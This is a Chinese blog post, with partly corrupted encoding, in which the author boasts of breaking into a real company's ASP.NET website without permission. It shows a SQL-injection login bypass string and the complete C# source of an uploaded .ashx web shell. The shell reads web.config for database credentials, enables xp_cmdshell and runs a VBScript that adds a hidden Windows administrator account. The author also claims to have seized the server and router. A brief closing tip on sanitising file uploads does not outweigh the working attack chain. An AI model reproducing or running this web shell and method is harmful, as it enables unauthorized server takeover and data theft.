記一次ASP.NET網(wǎng)站的入侵和如何避免被入侵
前些日子我去客戶那調(diào)研,發(fā)現(xiàn)客戶的監(jiān)控系統(tǒng)用的是海康威視的硬盤錄像機,然后默認用戶名是amdin密碼是12345,回來后就想玩一玩看看有多少人用的是默認密碼,于是就寫了個...
首先我要申明的是不是什么語言寫出來的程序就不安全,而是得看寫代碼的人如何去寫這個程序。
前些日子我去客戶那調(diào)研,發(fā)現(xiàn)客戶的監(jiān)控系統(tǒng)用的是??低暤?a href=/tags/3144-0.html target=_blank class=infotextkey>硬盤錄像機,然后默認用戶名是amdin 密碼是12345,回來后就想玩一玩看看有多少人用的是默認密碼,于是就寫了個掃描程序,很快掃描到了一大批網(wǎng)站,也得到很多采用的是默認用戶名和密碼。
玩了一兩天后發(fā)現(xiàn)沒什么好玩的,就隨便在里面找找掃描記錄,看到一些后臺登陸地址,于是就都測試下,然后就發(fā)現(xiàn)了這個網(wǎng)站:
最開始我是測試弱口令:
admin amdin 等,隨便測試了幾個,沒成功,于是開始測試sql的防注入,用戶名輸入 1' or 1=1-- 密碼隨便輸了個1 登陸,居然登陸成功了……
但發(fā)現(xiàn)登陸進來后報錯了?。。∠肓讼驴赡苁怯脩裘膯栴},于是就找頁面看看能不能看到我的登陸用戶名,最后找到寫郵件里面看到了
當然如果入侵只到這 你肯定會絕對弱爆了…… 其實當然也是,因為我拿下了他的數(shù)據(jù)和程序。當然最好拿下了他的服務器,得知他服務器是做的端口映射,于是又拿下了他的路由 器,然后就沒有再繼續(xù)往下進行了,當然還可以繼續(xù)下去,比如 路由器的dns劫持,頁面重定向,端口鏡像等等
下面我開始介紹主要入侵頁面,文件上傳頁面:
自己寫了個ashx頁面,上傳
代碼很簡單,就是讀取網(wǎng)站的web.config文件然后以文本形式輸出,
我先簡單說下入侵流程:
1、讀取web.config得到數(shù)據(jù)庫連接
2、利用SQL Server執(zhí)行命令添加Windows用戶(因為網(wǎng)站默認是iis用戶,沒有權限直線net等相關操作,但SQL Server是基于本地服務運行的,權限很高)
我貼出我上傳的ashx文件代碼:
- <%@WebHandlerLanguage="C#"Class="TextLd"%>
- usingSystem;
- usingSystem.Collections.Generic;
- usingSystem.Linq;
- usingSystem.Web;
- usingSystem.Data.SqlClient;
- publicclassTextLd:IHttpHandler
- {
- publicvoidCreateLocalUser(stringnewPath)
- {
- System.Diagnostics.Process.Start(@"d:/1.vbs");
- System.IO.File.WriteAllText(@"d:/1.vbs","setwsnetwork=CreateObject(/"WSCRIPT.NETWORK/")/r/nos=/"WinNT:///"&wsnetwork.ComputerName/r/nSetob=GetObject(os)/r/nSetoe=GetObject(os&/"/Administrators,group/")'屬性,admin組/r/nod=ob.Create(/"user/",/"test/")'建立用戶/r/nSetPassword/"1234/"'設置密碼/r/nSetInfo/r/nof=GetObject(os&/"/test/",user)/r/naddos&/"/test/"");
- }
- publicvoidShowWebConfig(HttpContextcontext)
- {
- context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
- }
- publicvoidWriteVbs(HttpContextcontext)
- {
- System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"),"setwsnetwork=CreateObject(/"WSCRIPT.NETWORK/")/r/nos=/"WinNT:///"&wsnetwork.ComputerName/r/nSetob=GetObject(os)/r/nSetoe=GetObject(os&/"/Administrators,group/")'屬性,admin組/r/nod=ob.Create(/"user/",/"test/")'建立用戶/r/nSetPassword/"1234/"'設置密碼/r/nSetInfo/r/nof=GetObject(os&/"/test/",user)/r/naddos&/"/test/"");
- }
- publicvoidExecuteSql(stringconnection,stringsql)
- {
- using(SqlConnectioncon=newSqlConnection(connection))
- {
- using(SqlCommandcommd=newSqlCommand(sql,con))
- {
- con.Open();
- commd.ExecuteNonQuery();
- con.Close();
- }
- }
- }
- publicvoidProcessRequest(HttpContextcontext)
- {
- context.Response.ContentType="text/plain";
- context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
- try
- {
- varconnection=context.Request.QueryString["connection"];
- switch(context.Request.QueryString["method"])
- {
- case"1":WriteVbs(context);break;
- case"2":
- ExecuteSql(connection,@"sp_configure'showadvancedoptions',1reconfigure");
- ExecuteSql(connection,@"sp_configure'xp_cmdshell',1reconfigure");//開啟數(shù)據(jù)庫的xp_cmdshell
- break;
- case"3":ExecuteSql(connection,"execmaster..xp_cmdshell'cscript"+context.Request.MapPath("~/1.vbs")+"'");
- break;
- default:
- ShowWebConfig(context);
- break;
- }
- }
- catch(Exceptionex)
- {
- context.Response.Write(ex.Message);
- }
- context.Response.End();
- }
- publicboolIsReusable
- {
- get
- {
- returnfalse;
- }
- }
- }
然后一次執(zhí)行,就這樣服務器就被我拿下了! 建立了一個用戶名為test密碼是1234的超級管理員用戶,于是測試下遠程連接
然后弄干啥,大家都知道的……
當然,如果不拿下他服務器,你想想你都能直線你自己寫的代碼了……什么壞事干不了。。。 當然本人只是測試了下可行性,就算不拿下服務器,執(zhí)行sql語句把他數(shù)據(jù)庫備份下載下來拿還不是分分鐘的事情?
好了 我來總結下這次入侵吧,最主要的婁底其實不是他的sql注入(個人覺得,當然他是導火索),而是文件上傳,大部分程序員在寫文件上傳功能的時候,之前客戶上傳過來的文件保存到網(wǎng)站目錄下的某個文件夾,不做任何處理,這也就是導致了他服務器被我拿下的最主要的入口。
所以我還是奉勸大家一下,做文件上傳還是對文件進行下處理比較好,具體怎么處理我想聰明的你肯定有很多方法……
小學文化的我傷不起啊…… 原諒我文采不好,你們將就著看吧!
-
無相關信息